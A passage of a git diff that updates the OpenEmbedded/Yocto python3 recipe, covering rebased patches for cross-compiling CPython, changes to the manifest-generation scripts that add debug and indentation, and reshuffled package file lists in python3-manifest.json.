+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ configure.ac | 6 ------
+ setup.py | 2 --
+ 2 files changed, 8 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index e5e3df8..bfdd987 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -5092,12 +5092,6 @@ then
+ [Define if you have struct stat.st_mtimensec])
+ fi
+
+-# first curses header check
+-ac_save_cppflags="$CPPFLAGS"
+-if test "$cross_compiling" = no; then
+- CPPFLAGS="$CPPFLAGS -I/usr/include/ncursesw"
+-fi
+-
+ AC_CHECK_HEADERS(curses.h ncurses.h)
+
+ # On Solaris, term.h requires curses.h
+diff --git a/setup.py b/setup.py
+index 62f0e18..c190002 100644
+--- a/setup.py
++++ b/setup.py
+@@ -1169,8 +1169,6 @@ class PyBuildExt(build_ext):
+ panel_library = 'panel'
+ if curses_library == 'ncursesw':
+ curses_defines.append(('HAVE_NCURSESW', '1'))
+- if not CROSS_COMPILING:
+- curses_includes.append('/usr/include/ncursesw')
+ # Bug 1464056: If _curses.so links with ncursesw,
+ # _curses_panel.so must link with panelw.
+ panel_library = 'panelw'
diff --git a/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch b/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
index d49604ba4d..de4c6c4e19 100644
--- a/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
+++ b/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
@@ -1,4 +1,4 @@
-From a274ba778838824efcacaba57c415b7262f779ec Mon Sep 17 00:00:00 2001
+From 33b5a31df6050110f4481a24f5a0a0bf7fe80096 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 14 May 2013 15:00:26 -0700
Subject: [PATCH] python3: Add target and native recipes
@@ -7,21 +7,21 @@ Upstream-Status: Inappropriate [embedded specific]
02/2015 Rebased for Python 3.4.2
-# The proper prefix is inside our staging area.
-# Signed-Off: Michael 'Mickey' Lauer <mickey@vanille-media.de>
-# Signed-off-by: Phil Blundell <philb@gnu.org>
-# Signed-off-by: Khem Raj <raj.khem@gmail.com>
-# Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
+The proper prefix is inside our staging area.
+Signed-Off: Michael 'Mickey' Lauer <mickey@vanille-media.de>
+Signed-off-by: Phil Blundell <philb@gnu.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
---
Lib/distutils/sysconfig.py | 14 +++++++++++---
1 file changed, 11 insertions(+), 3 deletions(-)
diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index 3dfd0a3..6c6b09a 100644
+index 3414a76..361d3a1 100644
--- a/Lib/distutils/sysconfig.py
+++ b/Lib/distutils/sysconfig.py
-@@ -97,7 +97,9 @@ def get_python_inc(plat_specific=0, prefix=None):
+@@ -277,7 +277,9 @@ def get_python_inc(plat_specific=0, prefix=None):
If 'prefix' is supplied, use it instead of sys.base_prefix or
sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
"""
@@ -32,7 +32,7 @@ index 3dfd0a3..6c6b09a 100644
prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
if os.name == "posix":
if python_build:
-@@ -140,7 +142,13 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
+@@ -320,7 +322,13 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
If 'prefix' is supplied, use it instead of sys.base_prefix or
sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
"""
@@ -47,12 +47,12 @@ index 3dfd0a3..6c6b09a 100644
if standard_lib:
prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
else:
-@@ -148,7 +156,7 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
-
- if os.name == "posix":
- libpython = os.path.join(prefix,
-- "lib", "python" + get_python_version())
-+ lib_basename, "python" + get_python_version())
+@@ -334,7 +342,7 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
+ else:
+ # Pure Python
+ libdir = "lib"
+- libpython = os.path.join(prefix, libdir,
++ libpython = os.path.join(prefix, lib_basename,
+ "python" + get_python_version())
if standard_lib:
return libpython
- else:
diff --git a/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch b/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
index 24e67b4ca1..2de72b7199 100644
--- a/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
+++ b/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
@@ -1,4 +1,4 @@
-From fead48c8b501a8d7c3db21df2e599f90f38f11d3 Mon Sep 17 00:00:00 2001
+From 6a23d52c905cd1f6a5944255903ec86ea8b904bb Mon Sep 17 00:00:00 2001
From: Andrei Gherzan <andrei@gherzan.ro>
Date: Mon, 28 Jan 2019 15:57:54 +0000
Subject: [PATCH] _tkinter module needs tk module along with tcl. tk is not yet
@@ -11,26 +11,21 @@ Also simply disable the tk module since its not in DEPENDS.
Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
---
- setup.py | 8 +++++---
- 1 file changed, 5 insertions(+), 3 deletions(-)
+ setup.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/setup.py b/setup.py
-index fbec00d..b7a36a6 100644
+index 11b5cf5..2be4738 100644
--- a/setup.py
+++ b/setup.py
-@@ -1623,10 +1623,12 @@ class PyBuildExt(build_ext):
- self.extensions.extend(exts)
+@@ -1895,8 +1895,8 @@ class PyBuildExt(build_ext):
+ self.detect_decimal()
+ self.detect_ctypes()
+ self.detect_multiprocessing()
+- if not self.detect_tkinter():
+- self.missing.append('_tkinter')
++# if not self.detect_tkinter():
++# self.missing.append('_tkinter')
+ self.detect_uuid()
- # Call the method for detecting whether _tkinter can be compiled
-- self.detect_tkinter(inc_dirs, lib_dirs)
-+ # self.detect_tkinter(inc_dirs, lib_dirs)
-
-- if '_tkinter' not in [e.name for e in self.extensions]:
-- missing.append('_tkinter')
-+ # tkinter module will not be avalaible as yocto
-+ # doesn't have tk integrated (yet)
-+ #if '_tkinter' not in [e.name for e in self.extensions]:
-+ # missing.append('_tkinter')
-
- # Build the _uuid module if possible
- uuid_incs = find_file("uuid.h", inc_dirs, ["/usr/include/uuid"])
+ ## # Uncomment these lines if you want to play with xxmodule.c
diff --git a/meta/recipes-devtools/python/python3/cgi_py.patch b/meta/recipes-devtools/python/python3/cgi_py.patch
index 6c4ba54320..81e6099cfb 100644
--- a/meta/recipes-devtools/python/python3/cgi_py.patch
+++ b/meta/recipes-devtools/python/python3/cgi_py.patch
@@ -1,4 +1,4 @@
-From 62336285cba38017b35cb761c03f0c7e80a671a3 Mon Sep 17 00:00:00 2001
+From 5b0d1212d661e9a8a36738279fc9109f96eebd25 Mon Sep 17 00:00:00 2001
From: Mark Hatle <mark.hatle@windriver.com>
Date: Wed, 21 Sep 2011 20:55:33 -0500
Subject: [PATCH] Lib/cgi.py: Update the script as mentioned in the comment
@@ -12,7 +12,7 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
1 file changed, 1 insertion(+), 10 deletions(-)
diff --git a/Lib/cgi.py b/Lib/cgi.py
-index 8cf6687..094c7b4 100755
+index 6cb8cf2..a873ff3 100755
--- a/Lib/cgi.py
+++ b/Lib/cgi.py
@@ -1,13 +1,4 @@
diff --git a/meta/recipes-devtools/python/python3/create_manifest3.py b/meta/recipes-devtools/python/python3/create_manifest3.py
index 4da02a2991..045240ea0b 100644
--- a/meta/recipes-devtools/python/python3/create_manifest3.py
+++ b/meta/recipes-devtools/python/python3/create_manifest3.py
@@ -36,7 +36,7 @@
# Tha method to handle cached files does not work when a module includes a folder which
# itself contains the pycache folder, gladly this is almost never the case.
#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29 at gmail dot com>
+# Author: Alejandro Enedino Hernandez Samaniego <alejandro at enedino dot org>
import sys
@@ -45,6 +45,11 @@ import json
import os
import collections
+if '-d' in sys.argv:
+ debugFlag = '-d'
+else:
+ debugFlag = ''
+
# Get python version from ${PYTHON_MAJMIN}
pyversion = str(sys.argv[1])
@@ -84,6 +89,12 @@ def prepend_comments(comments, json_manifest):
manifest.seek(0, 0)
manifest.write(comments + json_contents)
+def print_indent(msg, offset):
+ for l in msg.splitlines():
+ msg = ' ' * offset + l
+ print(msg)
+
+
# Read existing JSON manifest
with open('python3-manifest.json') as manifest:
# The JSON format doesn't allow comments so we hack the call to keep the comments using a marker
@@ -99,7 +110,7 @@ with open('python3-manifest.json') as manifest:
# Not exactly the same so it should not be a function
#
-print ('Getting dependencies for package: core')
+print_indent('Getting dependencies for package: core', 0)
# This special call gets the core dependencies and
@@ -109,7 +120,7 @@ print ('Getting dependencies for package: core')
# on the new core package, they will still find them
# even when checking the old_manifest
-output = subprocess.check_output([sys.executable, 'get_module_deps3.py', 'python-core-package']).decode('utf8')
+output = subprocess.check_output([sys.executable, 'get_module_deps3.py', 'python-core-package', '%s' % debugFlag]).decode('utf8')
for coredep in output.split():
coredep = coredep.replace(pyversion,'${PYTHON_MAJMIN}')
if isCached(coredep):
@@ -149,17 +160,16 @@ for filedep in old_manifest['core']['files']:
# Get actual module name , shouldnt be affected by libdir/bindir, etc.
pymodule = os.path.splitext(os.path.basename(os.path.normpath(filedep)))[0]
-
# We now know that were dealing with a python module, so we can import it
# and check what its dependencies are.
# We launch a separate task for each module for deterministic behavior.
# Each module will only import what is necessary for it to work in specific.
# The output of each task will contain each module's dependencies
- print ('Getting dependencies for module: %s' % pymodule)
- output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule]).decode('utf8')
- print ('The following dependencies were found for module %s:\n' % pymodule)
- print (output)
+ print_indent('Getting dependencies for module: %s' % pymodule, 2)
+ output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule, '%s' % debugFlag]).decode('utf8')
+ print_indent('The following dependencies were found for module %s:\n' % pymodule, 4)
+ print_indent(output, 6)
for pymodule_dep in output.split():
@@ -178,12 +188,13 @@ for filedep in old_manifest['core']['files']:
# all others will use this a base.
+print('\n\nChecking for directories...\n')
# To improve the script speed, we check which packages contain directories
# since we will be looping through (only) those later.
for pypkg in old_manifest:
for filedep in old_manifest[pypkg]['files']:
if isFolder(filedep):
- print ('%s is a folder' % filedep)
+ print_indent('%s is a directory' % filedep, 2)
if pypkg not in hasfolders:
hasfolders.append(pypkg)
if filedep not in allfolders:
@@ -221,14 +232,14 @@ for pypkg in old_manifest:
print('\n')
print('--------------------------')
- print ('Handling package %s' % pypkg)
+ print('Handling package %s' % pypkg)
print('--------------------------')
# Handle special cases, we assume that when they were manually added
# to the manifest we knew what we were doing.
special_packages = ['misc', 'modules', 'dev', 'tests']
if pypkg in special_packages or 'staticdev' in pypkg:
- print('Passing %s package directly' % pypkg)
+ print_indent('Passing %s package directly' % pypkg, 2)
new_manifest[pypkg] = old_manifest[pypkg]
continue
@@ -259,7 +270,7 @@ for pypkg in old_manifest:
# Get actual module name , shouldnt be affected by libdir/bindir, etc.
# We need to check if the imported module comes from another (e.g. sqlite3.dump)
- path,pymodule = os.path.split(filedep)
+ path, pymodule = os.path.split(filedep)
path = os.path.basename(path)
pymodule = os.path.splitext(os.path.basename(pymodule))[0]
@@ -279,10 +290,10 @@ for pypkg in old_manifest:
# Each module will only import what is necessary for it to work in specific.
# The output of each task will contain each module's dependencies
- print ('\nGetting dependencies for module: %s' % pymodule)
- output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule]).decode('utf8')
- print ('The following dependencies were found for module %s:\n' % pymodule)
- print (output)
+ print_indent('\nGetting dependencies for module: %s' % pymodule, 2)
+ output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule, '%s' % debugFlag]).decode('utf8')
+ print_indent('The following dependencies were found for module %s:\n' % pymodule, 4)
+ print_indent(output, 6)
reportFILES = []
reportRDEPS = []
@@ -325,7 +336,7 @@ for pypkg in old_manifest:
# print('Checking folder %s on package %s' % (pymodule_dep,pypkg_with_folder))
for folder_dep in old_manifest[pypkg_with_folder]['files'] or folder_dep in old_manifest[pypkg_with_folder]['cached']:
if folder_dep == folder:
- print ('%s folder found in %s' % (folder, pypkg_with_folder))
+ print ('%s directory found in %s' % (folder, pypkg_with_folder))
folderFound = True
if pypkg_with_folder not in new_manifest[pypkg]['rdepends'] and pypkg_with_folder != pypkg:
new_manifest[pypkg]['rdepends'].append(pypkg_with_folder)
@@ -424,7 +435,7 @@ prepend_comments(comments,'python3-manifest.json.new')
if (repeated):
error_msg = '\n\nERROR:\n'
- error_msg += 'The following files are repeated (contained in more than one package),\n'
+ error_msg += 'The following files were found in more than one package),\n'
error_msg += 'this is likely to happen when new files are introduced after an upgrade,\n'
error_msg += 'please check which package should get it,\n modify the manifest accordingly and re-run the create_manifest task:\n'
error_msg += '\n'.join(repeated)
diff --git a/meta/recipes-devtools/python/python3/crosspythonpath.patch b/meta/recipes-devtools/python/python3/crosspythonpath.patch
index d789ab57d4..5bb25264da 100644
--- a/meta/recipes-devtools/python/python3/crosspythonpath.patch
+++ b/meta/recipes-devtools/python/python3/crosspythonpath.patch
@@ -1,4 +1,8 @@
-configure.ac: add CROSSPYTHONPATH into PYTHONPATH for PYTHON_FOR_BUILD
+From baa3a232e64e9bf5ae945366efdb8088ccf9b828 Mon Sep 17 00:00:00 2001
+From: Ricardo Ribalda <ricardo@ribalda.com>
+Date: Tue, 18 Nov 2014 03:35:33 -0500
+Subject: [PATCH] configure.ac: add CROSSPYTHONPATH into PYTHONPATH for
+ PYTHON_FOR_BUILD
When building x86->x86 the system will try to execute .so and related items
from the default PYTHONPATH. This will fail if the target CPU contains
@@ -10,11 +14,16 @@ Upstream-Status: Inappropriate [OE-Core integration specific]
Credits-to: Mark Hatle <mark.hatle@windriver.com>
Credits-to: Jackie Huang <jackie.huang@windriver.com>
Signed-off-by: Ricardo Ribalda <ricardo@ribalda.com>
+
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/configure.ac b/configure.ac
-index 4ab19a6..7036a53 100644
+index d0db062..e5e3df8 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -76,7 +76,7 @@ if test "$cross_compiling" = yes; then
+@@ -83,7 +83,7 @@ if test "$cross_compiling" = yes; then
AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found])
fi
AC_MSG_RESULT($interp)
diff --git a/meta/recipes-devtools/python/python3/get_module_deps3.py b/meta/recipes-devtools/python/python3/get_module_deps3.py
index fd12baad84..1f4c982aed 100644
--- a/meta/recipes-devtools/python/python3/get_module_deps3.py
+++ b/meta/recipes-devtools/python/python3/get_module_deps3.py
@@ -3,12 +3,17 @@
# them out, the output of this execution will have all dependencies
# for a specific module, which will be parsed an dealt on create_manifest.py
#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29@gmail.com>
+# Author: Alejandro Enedino Hernandez Samaniego <alejandro at enedino dot org>
-# We can get a log per module, for all the dependencies that were found, but its messy.
-debug=False
import sys
+import os
+
+# We can get a log per module, for all the dependencies that were found, but its messy.
+if '-d' in sys.argv:
+ debug = True
+else:
+ debug = False
# We can get a list of the modules which are currently required to run python
# so we run python-core and get its modules, we then import what we need
@@ -18,13 +23,13 @@ import sys
# We use importlib to achieve this, so we also need to know what modules importlib needs
import importlib
-core_deps=set(sys.modules)
+core_deps = set(sys.modules)
def fix_path(dep_path):
import os
# We DONT want the path on our HOST system
- pivot='recipe-sysroot-native'
- dep_path=dep_path[dep_path.find(pivot)+len(pivot):]
+ pivot = 'recipe-sysroot-native'
+ dep_path = dep_path[dep_path.find(pivot)+len(pivot):]
if '/usr/bin' in dep_path:
dep_path = dep_path.replace('/usr/bin''${bindir}')
@@ -45,19 +50,30 @@ def fix_path(dep_path):
# Module to import was passed as an argument
current_module = str(sys.argv[1]).rstrip()
-if(debug==True):
- log = open('log_%s' % current_module,'w')
+if debug == True:
+ log = open('temp/log_%s' % current_module.strip('.*'),'w')
log.write('Module %s generated the following dependencies:\n' % current_module)
-try:
- importlib.import_module('%s' % current_module)
+try:
+ m = importlib.import_module(current_module)
+ # handle python packages which may not include all modules in the __init__
+ if os.path.basename(m.__file__) == "__init__.py":
+ modulepath = os.path.dirname(m.__file__)
+ for i in os.listdir(modulepath):
+ if i.startswith("_") or not(i.endswith(".py")):
+ continue
+ submodule = "{}.{}".format(current_module, i[:-3])
+ try:
+ importlib.import_module(submodule)
+ except:
+ pass # ignore all import or other exceptions raised during import
except ImportError as e:
- if (debug==True):
- log.write('Module was not found')
+ if debug == True:
+ log.write('Module was not found\n')
pass
# Get current module dependencies, dif will contain a list of specific deps for this module
-module_deps=set(sys.modules)
+module_deps = set(sys.modules)
# We handle the core package (1st pass on create_manifest.py) as a special case
if current_module == 'python-core-package':
@@ -69,14 +85,18 @@ else:
# Check where each dependency came from
for item in dif:
- dep_path=''
+ # Main module returns script filename, __main matches mp_main__ as well
+ if 'main__' in item:
+ continue
+
+ dep_path = ''
try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__file__\n')
+ if debug == True:
+ log.write('\nCalling: sys.modules[' + '%s' % item + '].__file__\n')
dep_path = sys.modules['%s' % item].__file__
except AttributeError as e:
# Deals with thread (builtin module) not having __file__ attribute
- if debug==True:
+ if debug == True:
log.write(item + ' ')
log.write(str(e))
log.write('\n')
@@ -84,11 +104,16 @@ for item in dif:
except NameError as e:
# Deals with NameError: name 'dep_path' is not defined
# because module is not found (wasn't compiled?), e.g. bddsm
- if (debug==True):
+ if debug == True:
log.write(item+' ')
log.write(str(e))
pass
+ if dep_path == '':
+ continue
+ if debug == True:
+ log.write('Dependency path found:\n%s\n' % dep_path)
+
# Site-customize is a special case since we (OpenEmbedded) put it there manually
if 'sitecustomize' in dep_path:
dep_path = '${libdir}/python${PYTHON_MAJMIN}/sitecustomize.py'
@@ -99,48 +124,51 @@ for item in dif:
dep_path = fix_path(dep_path)
import sysconfig
- soabi=sysconfig.get_config_var('SOABI')
+ soabi = sysconfig.get_config_var('SOABI')
# Check if its a shared library and deconstruct it
if soabi in dep_path:
- if (debug==True):
- log.write('Shared library found in %s' % dep_path)
+ if debug == True:
+ log.write('Shared library found in %s\n' % dep_path)
dep_path = dep_path.replace(soabi,'*')
print (dep_path)
continue
+ if "_sysconfigdata" in dep_path:
+ dep_path = dep_path.replace(sysconfig._get_sysconfigdata_name(), "_sysconfigdata*")
- if (debug==True):
+ if debug == True:
log.write(dep_path+'\n')
# Prints out result, which is what will be used by create_manifest
print (dep_path)
- import imp
- cpython_tag = imp.get_tag()
- cached=''
+ cpython_tag = sys.implementation.cache_tag
+ cached = ''
# Theres no naive way to find *.pyc files on python3
try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__cached__\n')
+ if debug == True:
+ log.write('\nCalling: sys.modules[' + '%s' % item + '].__cached__\n')
cached = sys.modules['%s' % item].__cached__
except AttributeError as e:
# Deals with thread (builtin module) not having __cached__ attribute
- if debug==True:
+ if debug == True:
log.write(item + ' ')
log.write(str(e))
log.write('\n')
pass
except NameError as e:
# Deals with NameError: name 'cached' is not defined
- if (debug==True):
+ if debug == True:
log.write(item+' ')
log.write(str(e))
pass
if cached is not None:
- if (debug==True):
- log.write(cached)
+ if debug == True:
+ log.write(cached + '\n')
cached = fix_path(cached)
cached = cached.replace(cpython_tag,'*')
+ if "_sysconfigdata" in cached:
+ cached = cached.replace(sysconfig._get_sysconfigdata_name(), "_sysconfigdata*")
print (cached)
-if debug==True:
+if debug == True:
log.close()
diff --git a/meta/recipes-devtools/python/python3/makerace.patch b/meta/recipes-devtools/python/python3/makerace.patch
new file mode 100644
index 0000000000..2c06784ffc
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/makerace.patch
@@ -0,0 +1,32 @@
+From 7cc02dfa593d1350a689d64a7a6f2dc6478afe24 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 13 Jul 2021 23:19:29 +0100
+Subject: [PATCH] python3: Fix make race
+
+libainstall installs python-config.py but the .pyc cache files are generated
+by the libinstall target. This means some builds may not generate the pyc files
+for python-config.py depending on the order things happen in. This means builds
+are not always reproducible.
+
+Add a dependency to avoid the race.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ Makefile.pre.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.pre.in b/Makefile.pre.in
+index 5e13ba2..026bffd 100644
+--- a/Makefile.pre.in
++++ b/Makefile.pre.in
+@@ -1527,7 +1527,7 @@ TESTSUBDIRS= ctypes/test \
+ unittest/test unittest/test/testmock
+
+ TEST_MODULES=@TEST_MODULES@
+-libinstall: build_all $(srcdir)/Modules/xxmodule.c
++libinstall: build_all $(srcdir)/Modules/xxmodule.c libainstall
+ @for i in $(SCRIPTDIR) $(LIBDEST); \
+ do \
+ if test ! -d $(DESTDIR)$$i; then \
diff --git a/meta/recipes-devtools/python/python3/python-config.patch b/meta/recipes-devtools/python/python3/python-config.patch
index f23b8b7df0..4da399e46e 100644
--- a/meta/recipes-devtools/python/python3/python-config.patch
+++ b/meta/recipes-devtools/python/python3/python-config.patch
@@ -1,4 +1,7 @@
-python-config: Revert to using distutils.sysconfig
+From 8632f25ac4e2c53a3c2c8a1b4fc97fc86e8aad5a Mon Sep 17 00:00:00 2001
+From: Tyler Hall <tylerwhall@gmail.com>
+Date: Sun, 4 May 2014 20:06:43 -0400
+Subject: [PATCH] python-config: Revert to using distutils.sysconfig
The newer sysconfig module shares some code with distutils.sysconfig, but the same modifications as in
@@ -11,29 +14,35 @@ as appropriate.
Upstream-Status: Inappropriate [Embedded Specific]
Signed-off-by: Tyler Hall <tylerwhall@gmail.com>
-:
-Index: Python-3.3.3/Misc/python-config.in
-===================================================================
---- Python-3.3.3.orig/Misc/python-config.in
-+++ Python-3.3.3/Misc/python-config.in
-@@ -4,7 +4,7 @@
+
+---
+ Misc/python-config.in | 12 +++++++-----
+ 1 file changed, 7 insertions(+), 5 deletions(-)
+
+diff --git a/Misc/python-config.in b/Misc/python-config.in
+index ebd99da..0492e08 100644
+--- a/Misc/python-config.in
++++ b/Misc/python-config.in
+@@ -6,7 +6,9 @@
import getopt
import os
import sys
-import sysconfig
++import warnings
++warnings.filterwarnings("ignore", category=DeprecationWarning)
+from distutils import sysconfig
valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
- 'ldflags', 'extension-suffix', 'help', 'abiflags', 'configdir']
-@@ -32,14 +32,14 @@ if '--help' in opt_flags:
+ 'ldflags', 'extension-suffix', 'help', 'abiflags', 'configdir',
+@@ -35,14 +37,14 @@ if '--help' in opt_flags:
for opt in opt_flags:
if opt == '--prefix':
-- print(sysconfig.get_config_var('prefix'))
+- print(getvar('prefix'))
+ print(sysconfig.PREFIX)
elif opt == '--exec-prefix':
-- print(sysconfig.get_config_var('exec_prefix'))
+- print(getvar('exec_prefix'))
+ print(sysconfig.EXEC_PREFIX)
elif opt in ('--includes', '--cflags'):
diff --git a/meta/recipes-devtools/python/python3/python3-manifest.json b/meta/recipes-devtools/python/python3/python3-manifest.json
index dba92b0e39..2f5dad6486 100644
--- a/meta/recipes-devtools/python/python3/python3-manifest.json
+++ b/meta/recipes-devtools/python/python3/python3-manifest.json
@@ -172,36 +172,27 @@
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/compileall.py",
+ "${libdir}/python${PYTHON_MAJMIN}/filecmp.py",
"${libdir}/python${PYTHON_MAJMIN}/py_compile.py"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/compileall.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/filecmp.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/py_compile.*.pyc"
]
},
"compression": {
"summary": "Python high-level compression support",
"rdepends": [
- "core",
- "shell",
- "unixadmin"
+ "core"
],
"files": [
- "${libdir}/python${PYTHON_MAJMIN}/_compression.py",
- "${libdir}/python${PYTHON_MAJMIN}/bz2.py",
"${libdir}/python${PYTHON_MAJMIN}/gzip.py",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_bz2.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_lzma.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/zlib.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lzma.py",
"${libdir}/python${PYTHON_MAJMIN}/tarfile.py",
"${libdir}/python${PYTHON_MAJMIN}/zipfile.py"
],
"cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/_compression.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/bz2.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/gzip.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/lzma.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/tarfile.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/zipfile.*.pyc"
]
@@ -210,12 +201,10 @@
"summary": "Python interpreter and core modules",
"rdepends": [],
"files": [
- "${bindir}/python3",
"${bindir}/python${PYTHON_MAJMIN}",
"${bindir}/python${PYTHON_MAJMIN}.real",
- "${bindir}/python${PYTHON_BINABI}",
- "${includedir}/python${PYTHON_BINABI}/pyconfig*.h",
- "${prefix}/lib/python${PYTHON_MAJMIN}/config*/*[!.a]",
+ "${bindir}/python3",
+ "${includedir}/python${PYTHON_MAJMIN}/pyconfig*.h",
"${libdir}/python${PYTHON_MAJMIN}/UserDict.py",
"${libdir}/python${PYTHON_MAJMIN}/UserList.py",
"${libdir}/python${PYTHON_MAJMIN}/UserString.py",
@@ -223,6 +212,7 @@
"${libdir}/python${PYTHON_MAJMIN}/_abcoll.py",
"${libdir}/python${PYTHON_MAJMIN}/_bootlocale.py",
"${libdir}/python${PYTHON_MAJMIN}/_collections_abc.py",
+ "${libdir}/python${PYTHON_MAJMIN}/_compression.py",
"${libdir}/python${PYTHON_MAJMIN}/_markupbase.py",
"${libdir}/python${PYTHON_MAJMIN}/_sitebuiltins.py",
"${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py",
@@ -231,6 +221,7 @@
"${libdir}/python${PYTHON_MAJMIN}/argparse.py",
"${libdir}/python${PYTHON_MAJMIN}/ast.py",
"${libdir}/python${PYTHON_MAJMIN}/bisect.py",
+ "${libdir}/python${PYTHON_MAJMIN}/bz2.py",
"${libdir}/python${PYTHON_MAJMIN}/code.py",
"${libdir}/python${PYTHON_MAJMIN}/codecs.py",
"${libdir}/python${PYTHON_MAJMIN}/codeop.py",
@@ -247,6 +238,7 @@
"${libdir}/python${PYTHON_MAJMIN}/encodings/latin_1.py",
"${libdir}/python${PYTHON_MAJMIN}/encodings/utf_8.py",
"${libdir}/python${PYTHON_MAJMIN}/enum.py",
+ "${libdir}/python${PYTHON_MAJMIN}/fnmatch.py",
"${libdir}/python${PYTHON_MAJMIN}/functools.py",
"${libdir}/python${PYTHON_MAJMIN}/genericpath.py",
"${libdir}/python${PYTHON_MAJMIN}/getopt.py",
@@ -267,13 +259,16 @@
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/__pycache__/time.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/__pycache__/xreadlines.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_bisect.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_bz2.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_csv.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_heapq.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_lzma.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_opcode.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_posixsubprocess.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_struct.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/array.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/binascii.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/grp.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/math.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/parser.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/readline.*.so",
@@ -281,14 +276,18 @@
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/time.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/unicodedata.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/xreadlines.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/zlib.*.so",
"${libdir}/python${PYTHON_MAJMIN}/linecache.py",
"${libdir}/python${PYTHON_MAJMIN}/locale.py",
+ "${libdir}/python${PYTHON_MAJMIN}/lzma.py",
"${libdir}/python${PYTHON_MAJMIN}/new.py",
"${libdir}/python${PYTHON_MAJMIN}/ntpath.py",
"${libdir}/python${PYTHON_MAJMIN}/opcode.py",
"${libdir}/python${PYTHON_MAJMIN}/operator.py",
"${libdir}/python${PYTHON_MAJMIN}/optparse.py",
"${libdir}/python${PYTHON_MAJMIN}/os.py",
+ "${libdir}/python${PYTHON_MAJMIN}/pathlib.py",
